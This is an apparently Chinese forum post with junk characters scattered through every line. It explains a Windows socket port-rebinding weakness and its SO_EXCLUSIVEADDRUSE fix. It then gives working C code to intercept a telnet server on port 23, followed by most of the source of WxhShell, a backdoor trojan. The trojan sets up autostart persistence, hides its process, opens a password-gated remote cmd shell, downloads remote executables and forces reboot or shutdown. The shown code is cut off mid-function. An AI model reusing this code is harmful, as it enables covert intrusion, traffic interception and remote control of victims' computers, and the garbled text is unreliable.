在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
,r=re!QI7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
tPU-1by$ =i>\2J%'R saddr.sin_family = AF_INET;
x=]S.XI S`iR9{+& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
KE.Dt :.uk$jx bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
q8xd*--# GK?4@<fY 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
YEv
Lhh y-9+a7j 这意味着什么?意味着可以进行如下的攻击:
{%b
}Z2
LA4<#KP 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^.goO] pu4,0bw 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|g-b8+.=] -M4p\6)Ge 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|P~;C6sf f:woP7FP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
+e P.s_t NfzF.{nh 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
E0 l_-- :243 H 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
" aq'R(/`c g"hJ{{< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
idc4Cf+4 2.lgT|p #include
osHCg #include
9V
0}d2d #include
qOy=O
[+9 #include
aeP[+ I9 DWORD WINAPI ClientThread(LPVOID lpParam);
#=,imsW) int main()
86qI {
{Wv%zA*8 WORD wVersionRequested;
@ -:]P8 DWORD ret;
#VGjCEeU WSADATA wsaData;
$uh z BOOL val;
q%/uQT? SOCKADDR_IN saddr;
cYNV\b4- SOCKADDR_IN scaddr;
gfa[4
z int err;
..W-76{ SOCKET s;
1(#;&:$`i SOCKET sc;
bzZ>lyH int caddsize;
OMrc_)he\ HANDLE mt;
1X1 NtS@ DWORD tid;
F<&!b2)ML wVersionRequested = MAKEWORD( 2, 2 );
Vb|#MNf) err = WSAStartup( wVersionRequested, &wsaData );
If-_?wZe if ( err != 0 ) {
:t("L-GPW printf("error!WSAStartup failed!\n");
g);^NAA return -1;
G"SBYU }
PWr(*ZP>hI saddr.sin_family = AF_INET;
TbvtqM 0 B4Y(?JTx //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
G$M9=@Ug GW^,g@%C saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
v-b0\_ saddr.sin_port = htons(23);
'jg3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
23\RJpKb {
V$`Gwr]|n printf("error!socket failed!\n");
lSwcL return -1;
o{:xp r=( }
,:2'YB val = TRUE;
;,h/
//SO_REUSEADDR选项就是可以实现端口重绑定的
2x]>l?
5b if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"SxLN
8.: {
Uz7oL8 printf("error!setsockopt failed!\n");
=8Jfgq9E return -1;
{Ro2ouQ!V }
#6v27:XK //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
LW6ZAETyL //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
OR1DYHHT/1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1Na@|yY !|hoYU>@2L if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
'@|_OmcY {
Bq\F?zk< ret=GetLastError();
z4%uN|V printf("error!bind failed!\n");
u7%D6W~m0 return -1;
K7knK }
'NjzgZ~]P listen(s,2);
?Ea;J0V while(1)
1@48BN8cm' {
{6;9b-a] caddsize = sizeof(scaddr);
AN:sQX` //接受连接请求
@}p2aV59 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
b
\KL;H/ if(sc!=INVALID_SOCKET)
qU2~fNY {
vy2Q g
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
- O98pi if(mt==NULL)
Ei}/iBG@ {
@+vXMJ $ printf("Thread Creat Failed!\n");
:bV mgLgG break;
{^mNJ }
h!~3Dw>,N }
~LJY6A@y CloseHandle(mt);
Ars687WB }
T{wpJ"F5<] closesocket(s);
Hgeg@RP
Q WSACleanup();
M#"524Nz return 0;
E#J';tUQ }
CTt vyr DWORD WINAPI ClientThread(LPVOID lpParam)
X'. qYsS {
}I|u'#n_ SOCKET ss = (SOCKET)lpParam;
hT$~ygQ SOCKET sc;
q"O.Cbk unsigned char buf[4096];
=9oPowq SOCKADDR_IN saddr;
9I1tN long num;
xq-17HKs DWORD val;
5>3}_ DWORD ret;
S6}@I ,Q //如果是隐藏端口应用的话,可以在此处加一些判断
Vd".u'r //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Fc~'TBf,,` saddr.sin_family = AF_INET;
}kw/W#)J saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
<VD8bTk saddr.sin_port = htons(23);
CTWn2tpW if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,yd
MU\so( {
A7(hw~+@ printf("error!socket failed!\n");
V.os return -1;
^w ] / }
`:P
val = 100;
[:xiZ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
91Uj}n% {
.sQ=;w/ZA ret = GetLastError();
GN KF&M return -1;
c/B'jPt }
v9Xp97J2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&/Ro lIHF {
U4 13?Pe
ret = GetLastError();
V9ssH87# return -1;
Pnd`=%w%] }
|_omr&[_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
>A0k 8T {
P&Pj>!T5
printf("error!socket connect failed!\n");
5{n*"88 closesocket(sc);
J8Yd1.Qj closesocket(ss);
Lm@vXgMD return -1;
YeF1C/'hy }
k`GA\&zt while(1)
]xguBh ] {
_fZZ_0\Q //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
p{PE@KO: //如果是嗅探内容的话,可以再此处进行内容分析和记录
)xb|3&+W //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0i8LWX_M num = recv(ss,buf,4096,0);
k</%YKk if(num>0)
K|DWu8 send(sc,buf,num,0);
9CCkqB/ else if(num==0)
-=.V
' break;
~+Z{Q25R num = recv(sc,buf,4096,0);
CRbdAqofV if(num>0)
: Sq?a0!S send(ss,buf,num,0);
RT>{*E<I else if(num==0)
nenU)*o break;
O@?kT;B }
tgjr&G}a@0 closesocket(ss);
*6 _tQ9G closesocket(sc);
>Z1q j> return 0 ;
;/j= Ny{9 }
1^i Pji/ _0gKK2 UX]L;kI ==========================================================
#z1H8CFL" 1xv8gC:6 下边附上一个代码,,WXhSHELL
3=W!4 =TqQbadp ==========================================================
Agrp(i"\@
^xPmlS;X #include "stdafx.h"
QMEcQV> J<Pw+6B~ #include <stdio.h>
!45.puL0 #include <string.h>
r[?1 #include <windows.h>
Gn;@{x6 #include <winsock2.h>
xG;-bJu #include <winsvc.h>
=!m}xdTP #include <urlmon.h>
#[#KL/i)$ ." $ #pragma comment (lib, "Ws2_32.lib")
""Q1| #pragma comment (lib, "urlmon.lib")
gNG r!3*)w .5!t:FPOv #define MAX_USER 100 // 最大客户端连接数
_{jjgQJ5 #define BUF_SOCK 200 // sock buffer
k? Xc #define KEY_BUFF 255 // 输入 buffer
S.!UPkW H 7^T^($+6s& #define REBOOT 0 // 重启
"*O4GPj #define SHUTDOWN 1 // 关机
>[6{LAe~hp hQNe;R5 #define DEF_PORT 5000 // 监听端口
,.gQ^^+= <_(/X,kBK #define REG_LEN 16 // 注册表键长度
"`[!L z #define SVC_LEN 80 // NT服务名长度
^9-&o !a$ D4(`v // 从dll定义API
Su 5>$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-l}IZY typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-+t]15 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#Km:}= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,YhdY6 %6--}bY^ // wxhshell配置信息
9Ct` struct WSCFG {
-)vEWn$3< int ws_port; // 监听端口
` ]Ppau char ws_passstr[REG_LEN]; // 口令
c]B$i*t int ws_autoins; // 安装标记, 1=yes 0=no
!`bio cA char ws_regname[REG_LEN]; // 注册表键名
e|4&b@ char ws_svcname[REG_LEN]; // 服务名
>R/$1e1Y char ws_svcdisp[SVC_LEN]; // 服务显示名
#P#-xz char ws_svcdesc[SVC_LEN]; // 服务描述信息
5d@t7[] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
s( <uo{ int ws_downexe; // 下载执行标记, 1=yes 0=no
&uUo3qXQ5l char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
wM[~2C=vx char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-*2Mf Mh `"@ X.}\ };
!A1)|/a@ ny-7P;->8 // default Wxhshell configuration
`pd&se'p struct WSCFG wscfg={DEF_PORT,
|#l= "xuhuanlingzhe",
%r)avI 1,
9z?oB&5 "Wxhshell",
;V<iL? "Wxhshell",
'&;yT[ "WxhShell Service",
$(Ugtimdv "Wrsky Windows CmdShell Service",
n]+W 3[i "Please Input Your Password: ",
htY=w}> 1,
^[Cv26 "
http://www.wrsky.com/wxhshell.exe",
r3rxC& "Wxhshell.exe"
ZtVAEIZ) };
B5X sGLV 27ckdyQx // 消息定义模块
FI8Oz, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
U=sh[W char *msg_ws_prompt="\n\r? for help\n\r#>";
I &* _,d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]aCk_*U char *msg_ws_ext="\n\rExit.";
\RQ='/H* char *msg_ws_end="\n\rQuit.";
iA_8(Yo char *msg_ws_boot="\n\rReboot...";
>Q,zNs char *msg_ws_poff="\n\rShutdown...";
bU 63X={ char *msg_ws_down="\n\rSave to ";
!2:3MbtR ;jK#[*y char *msg_ws_err="\n\rErr!";
:"0J=>PH: char *msg_ws_ok="\n\rOK!";
6pE :A@ aKF*FFX char ExeFile[MAX_PATH];
-G
&_^"=R int nUser = 0;
CLKov\U\ HANDLE handles[MAX_USER];
nRhrWS int OsIsNt;
rg(lCL&:S \F, DA"K_ SERVICE_STATUS serviceStatus;
KRsAv^'] SERVICE_STATUS_HANDLE hServiceStatusHandle;
M^rM-{?< ~fz[x 9\ // 函数声明
&K^MNd int Install(void);
yj@tV2 int Uninstall(void);
puJ#w1!x` int DownloadFile(char *sURL, SOCKET wsh);
(B>Zaro# int Boot(int flag);
]Pn!nSg void HideProc(void);
[AEBF2OIv int GetOsVer(void);
DJhb int Wxhshell(SOCKET wsl);
6*GjP ;S= void TalkWithClient(void *cs);
_baYn`tFw- int CmdShell(SOCKET sock);
E(<LvMiCa int StartFromService(void);
?3sT"r_d@ int StartWxhshell(LPSTR lpCmdLine);
k7_I$<YDj dw@E) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
e{G_GycH VOID WINAPI NTServiceHandler( DWORD fdwControl );
;i#LIHJ J."{<& // 数据结构和表定义
c-XLI SERVICE_TABLE_ENTRY DispatchTable[] =
;kaHN;4? {
{g/wY%u= {wscfg.ws_svcname, NTServiceMain},
!^U6Z@&/R {NULL, NULL}
0rMqWP };
%|3e.1oX %/0gWG // 自我安装
]>:^d%n,} int Install(void)
67<CbQZoN3 {
'\p;y7N char svExeFile[MAX_PATH];
4 9w=kzo HKEY key;
GCE!$W strcpy(svExeFile,ExeFile);
o0;7b>Tv Ph7pd // 如果是win9x系统,修改注册表设为自启动
+h[e0J|v{ if(!OsIsNt) {
cV$lobqO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
R $b,h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|uha 38~ RegCloseKey(key);
ZW ye>] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
l[n@/%2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P!\hnm)%4 RegCloseKey(key);
C@@$"}%v2 return 0;
=Q?f96T }
< tQc_ }
9G:TW|)L[Q }
$^vP< else {
NM L|"R; u7k|7e=xk
// 如果是NT以上系统,安装为系统服务
?R?Grw)`H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
`mErF%b if (schSCManager!=0)
EODB`$+ {
G*\sdBW!k SC_HANDLE schService = CreateService
1)U}i ^ (
^@_).:oX7 schSCManager,
QFzFL-H~N wscfg.ws_svcname,
N#Ag'i4HF wscfg.ws_svcdisp,
]V<"(?,K SERVICE_ALL_ACCESS,
yisLypM* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
`C<F+/q SERVICE_AUTO_START,
*CUdGI& SERVICE_ERROR_NORMAL,
IxP^i{/1? svExeFile,
A[9NP-~ NULL,
A70(W{6a9@ NULL,
PPgW
^gj NULL,
Ygx,t|?7 NULL,
{bTeAfbf] NULL
0ny{)Sd6um );
6K//1U$ if (schService!=0)
&|z|SY]DL {
uo 4xnzc CloseServiceHandle(schService);
P!>g7X CloseServiceHandle(schSCManager);
hNVMz`r strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
#7C6yXb% strcat(svExeFile,wscfg.ws_svcname);
N?^_=KE@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`$Kes;[X RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
fM9xy \. RegCloseKey(key);
@H4wHlb return 0;
^?sSx!:bZ }
\P?--AIq< }
bZXlJa`'S CloseServiceHandle(schSCManager);
Fva]*5 }
<)J55++ }
]0YDb~UB cE2R r return 1;
fr]Hc+7 }
wKLN:aRF2 ^@N`e1 // 自我卸载
lux9o$ % int Uninstall(void)
@aUZ#,(< {
K]MzP|T, HKEY key;
K_FBy G
"c/a8 if(!OsIsNt) {
e~*S4dKR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YiO3<}Uf RegDeleteValue(key,wscfg.ws_regname);
6<+8}`@B>G RegCloseKey(key);
65t[vi*C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,`+Bs&S 8 RegDeleteValue(key,wscfg.ws_regname);
%27G 2^1 RegCloseKey(key);
%D. @L return 0;
wV?[3bEhM }
W >Kp\tD }
5 5a@)>h }
8db6(Q~P else {
iAg}pwU '2j~WUEmg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
oX2r?.j#M if (schSCManager!=0)
we
@Y w6< {
ayN*fiV] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Mru~<:9 if (schService!=0)
S[ i$e {
PaA6Z": if(DeleteService(schService)!=0) {
p+!f(H CloseServiceHandle(schService);
:E}6S CloseServiceHandle(schSCManager);
-<_+-t
return 0;
0VG^GKmx }
z)r8?9u CloseServiceHandle(schService);
5BZ+b_A>VV }
I<IC-k"Y CloseServiceHandle(schSCManager);
`AB~YX%( }
3@%BA(M }
u87=q^$ .Ydr[ return 1;
g6HphRJ5s }
Ug%<b f;&` 9s| 1 // 从指定url下载文件
!>?4[|?n< int DownloadFile(char *sURL, SOCKET wsh)
6oPUYn- {
&9S8al
8" HRESULT hr;
NU BpIx& char seps[]= "/";
wV7@D[8 char *token;
<.y;&a o char *file;
721{Ga4~S char myURL[MAX_PATH];
XL{{7%j char myFILE[MAX_PATH];
&h98.A*& 3Pw%[q=g strcpy(myURL,sURL);
zjZ;xn token=strtok(myURL,seps);
$K5ni {M; while(token!=NULL)
.~FKyP>[$ {
ubiQ8Bx file=token;
v)wY token=strtok(NULL,seps);
r3*+8D~a_ }
<L[T'ZE+ ez{P-qB GetCurrentDirectory(MAX_PATH,myFILE);
m~A[V,os strcat(myFILE, "\\");
WsG"x>1n strcat(myFILE, file);
6{Krw\0 send(wsh,myFILE,strlen(myFILE),0);
t?pIE cl send(wsh,"...",3,0);
FY_avW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*
ePDc' if(hr==S_OK)
^K1~eb*K return 0;
K|P9uHD else
4i ~eTb return 1;
[u!p- Fjb4BdZP }
c+)36/; X E7d~# // 系统电源模块
D;16}D int Boot(int flag)
(9WL+S {
Cy`<^_i HANDLE hToken;
>x|A7iWn{, TOKEN_PRIVILEGES tkp;
1[fkXO{ E-5ij,bHv3 if(OsIsNt) {
L@d]R MNv OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
vu
!j{%GO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
d=xI tkp.PrivilegeCount = 1;
Y%n{`9= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
8M".o n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
{y+v-v/# if(flag==REBOOT) {
X-*KQ+? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
B^_$
hJncc return 0;
k=ior }
;:8jxkx6% else {
b7>-aem@I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
x0AqhT5} return 0;
uJ)\P }
On2Vf*G@| }
n{qa ]3 else {
1A)wbH) if(flag==REBOOT) {
O;&yA< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
lyOrM7Gs return 0;
jiw`i }
]/<Qn-BbU else {
VfE^g\Ia if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=oKPMmpCZ return 0;
>gS5[`xRE }
nCSd:1DY }
7y)|^4X2 ~3* ZG return 1;
=`7)X\i@z }
BHRrXC\ Li<266#A! // win9x进程隐藏模块
=vqE=:X6 void HideProc(void)
]>S$R&a {
Vqv2F @. 8en#PH } HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
y!{/'{?P if ( hKernel != NULL )
t6,M {
MR l*rK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ke;*uS ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
XM5;AcD FreeLibrary(hKernel);
w3]0
!)t1 }
_>:=<xyOq mG8 return;
e&a[k }
PUFW^"LV 2YP"nj# // 获取操作系统版本
#*;fQ&p int GetOsVer(void)
IG3K Pmu {
EuimZW\V OSVERSIONINFO winfo;
uK&wS#uY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
C6=;(=?C GetVersionEx(&winfo);
C_khd" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
li'1RKr return 1;
tU~H@' else
%>z8:oJ return 0;
5)zh@aJ@ }
f6_|dvY3 aBtfZDCfzp // 客户端句柄模块
0f#a_ int Wxhshell(SOCKET wsl)
Vwh&^{Eh {
z&yb_A:> SOCKET wsh;
$v}8lBCr3 struct sockaddr_in client;
4;~lpty DWORD myID;
)eGu4iEPM 2Z9gOd<M~ while(nUser<MAX_USER)
2Q_{2(nQb {
uc (yos int nSize=sizeof(client);
ZtK%b+MBP wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
yLa5tv/ if(wsh==INVALID_SOCKET) return 1;
uB&I56 kE(-vE9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
BMsy}08dQ if(handles[nUser]==0)
;NVTn<Uj closesocket(wsh);
-N!soJ< else
JP% ;rAoJ nUser++;
#Uk6Fmu] }
&l}xBQAL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
:bF2b..XOu m_ONsZHy return 0;
+z?f,`.* }
Ty`=U>K| T[9jTO?W2 // 关闭 socket
H.G^!0j; void CloseIt(SOCKET wsh)
&IPK5o, {
Dq1XZ%8 closesocket(wsh);
k)t8J \ nUser--;
T`0gtSS ExitThread(0);
7Z :l;%]K }
<yaw9k+P r\- k/ 0 // 客户端请求句柄
#Lt+6sa]2@ void TalkWithClient(void *cs)
1UWgOCc {
{'bkU9+ Gkvd{G?F SOCKET wsh=(SOCKET)cs;
qBrZg char pwd[SVC_LEN];
JWjp<{Q;1 char cmd[KEY_BUFF];
!x /Z" char chr[1];
jsht2]iq3K int i,j;
l]=$< _@?Jx/`;bk while (nUser < MAX_USER) {
on&=%tCAL 6y!?xot if(wscfg.ws_passstr) {
&=O1Qg=K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^u&Khc~
y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$ =a$z" //ZeroMemory(pwd,KEY_BUFF);
l'8wPmy%N i=0;
9rc
n*sm while(i<SVC_LEN) {
4^9_E&Fa UoT}m^ G // 设置超时
AdW7 vn fd_set FdRead;
7}85o
J struct timeval TimeOut;
md
LJ,w?{ FD_ZERO(&FdRead);
ee[NZz FD_SET(wsh,&FdRead);
\`# 0,pLr TimeOut.tv_sec=8;
q9]L!V9Rv TimeOut.tv_usec=0;
Y}z?I%zL int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
CUcjJ|MZ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
V2skr_1 u6d~d\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(ZsR=:9( pwd
=chr[0]; {-qTU6
if(chr[0]==0xd || chr[0]==0xa) { <cjTn:w
pwd=0; f_Bf}2Eedj
break; 8 z7,W3b
} j"8N)la
i++; A2S9h,t
} ^<+heX
cNvcpv
// 如果是非法用户,关闭 socket W}3vY]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S`.-D+.68
} bd}SB -D
wB"Gw` D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ``Rb-.Fq,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 63$m& ]x
~cwwB{
while(1) { kJFHUR
OO>2oH
ZeroMemory(cmd,KEY_BUFF); (DAJ(r~
9B0"GEwrs
// 自动支持客户端 telnet标准 F
tjm@:X
j=0; 5!*a,$S
while(j<KEY_BUFF) { %Ski5q
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `;@4f|N9
cmd[j]=chr[0]; e vuP4-[y
if(chr[0]==0xa || chr[0]==0xd) { ?>&Zm$5V
cmd[j]=0; ,iUx'U
break; Df^S77&c!
} HbVLL`06*
j++; #w6CL
} Z]d]RL&r
yjzNU5F
// 下载文件 ?C3cPt"
if(strstr(cmd,"http://")) { w4a7c
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hc9pWr"N
if(DownloadFile(cmd,wsh)) ?f&I"\y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ags`%(
else /G ;yxdb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -&}E:zoe
} G]CY3xw98
else { qZe"'"3M
RSC-+c6 1
switch(cmd[0]) { f'dI"o&^/d
2Fi*)\{
// 帮助 3I+pe;
case '?': { iXFaQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q0wVV
break; oV`sCr5%
} >.|gmo>b
// 安装 _rd{cvdR
case 'i': { &
j43DYw4
if(Install()) t=AR>M!w~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P>|2~YxjU
else O;2 u1p'iP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
s25012
break; jxvVp*-=<j
} q]x@q
// 卸载 ?F/3]lsggT
case 'r': { il~,y8WTU{
if(Uninstall()) K@m^QioMj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }kpkHq"`f
else JFZ p^{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EeO{G*pq
break; &,zeBFmc
} D6w0Y:A{.
// 显示 wxhshell 所在路径 -MjRFa
case 'p': { Y~R wsx
char svExeFile[MAX_PATH]; ,v"A}g0"
strcpy(svExeFile,"\n\r"); c,@6MeKHq
strcat(svExeFile,ExeFile); VZ8L9h<{"
send(wsh,svExeFile,strlen(svExeFile),0); }1V&(#H2
break; a|.u;
} Ero3A'f
// 重启 =u(fP" |{
case 'b': { Ot?rsr
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6{M.S}.^
if(Boot(REBOOT)) zF PSk]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *XJSa
else { `d8TA#|`
closesocket(wsh); 3r\QLIr L8
ExitThread(0); o! 8X< o
} 4:.M*Dz
break; Y3[@(
} S'txY\
// 关机 1 !sYd@iD@
case 'd': { LE;c+(CAU
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J8jbtL O'
if(Boot(SHUTDOWN)) &b_duWs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PJ'l:IU
else { -a3C3!!
closesocket(wsh); 8L:0Wp
ExitThread(0);
KLX>QR@
} \?j(U8mB>
break; {S?.bT%&
} TtzB[F
// 获取shell ]?^mb n
case 's': { 8g3 6-8
CmdShell(wsh); '>Z
Ou3>
closesocket(wsh); \|M z'*
ExitThread(0); !>M: G:K
break; =_5-z|<
} J&Ah52
// 退出 >">-4L17m
case 'x': { HxjhP(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |q?A8@\u
CloseIt(wsh); E11"uWk`
break; +7=3[K
} Z',pQ{rD
// 离开 0VPa=AW
case 'q': { xu3qX"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); r'&VH]m
closesocket(wsh); \Q]7Hw<
WSACleanup(); G=DRz F
exit(1); 9BP-Iet
break; oYW:ptJ
} 4v;/"4)'
} 9Z}-%Z[,)
} yJ?6B LJi
.RdnJ&K*
// 提示信息 X4gs{kx}|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @,$>H7o
} $%ps:ui~X
} 5-*/wKjLz
ol-U%J
return; s~3"*,3@
} *&XOzaVU
#>}cuC@
// shell模块句柄 umI@ej+D
int CmdShell(SOCKET sock) w~Aw?75t
{ idEhxvAo
STARTUPINFO si; _vm ~yKId
ZeroMemory(&si,sizeof(si)); 5y0N }}
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ",Mr+;;:[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ';Y0qitGB
PROCESS_INFORMATION ProcessInfo; ]v=A}}kS
char cmdline[]="cmd"; ',P$m&z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jBb:)
return 0; 3%P<F>6
J
} 8u6*;*o
Zcjh
// 自身启动模式 \8g'v@$wG
int StartFromService(void) <- L}N '
{ -%,=%FBi~4
typedef struct ^VOFkUp)
{ xPCRT*Pd
DWORD ExitStatus; DHQS7%)f`
DWORD PebBaseAddress; tnE),
DWORD AffinityMask; FJCs$0
DWORD BasePriority; a`I
\19p]
ULONG UniqueProcessId; wDR/Vr"f
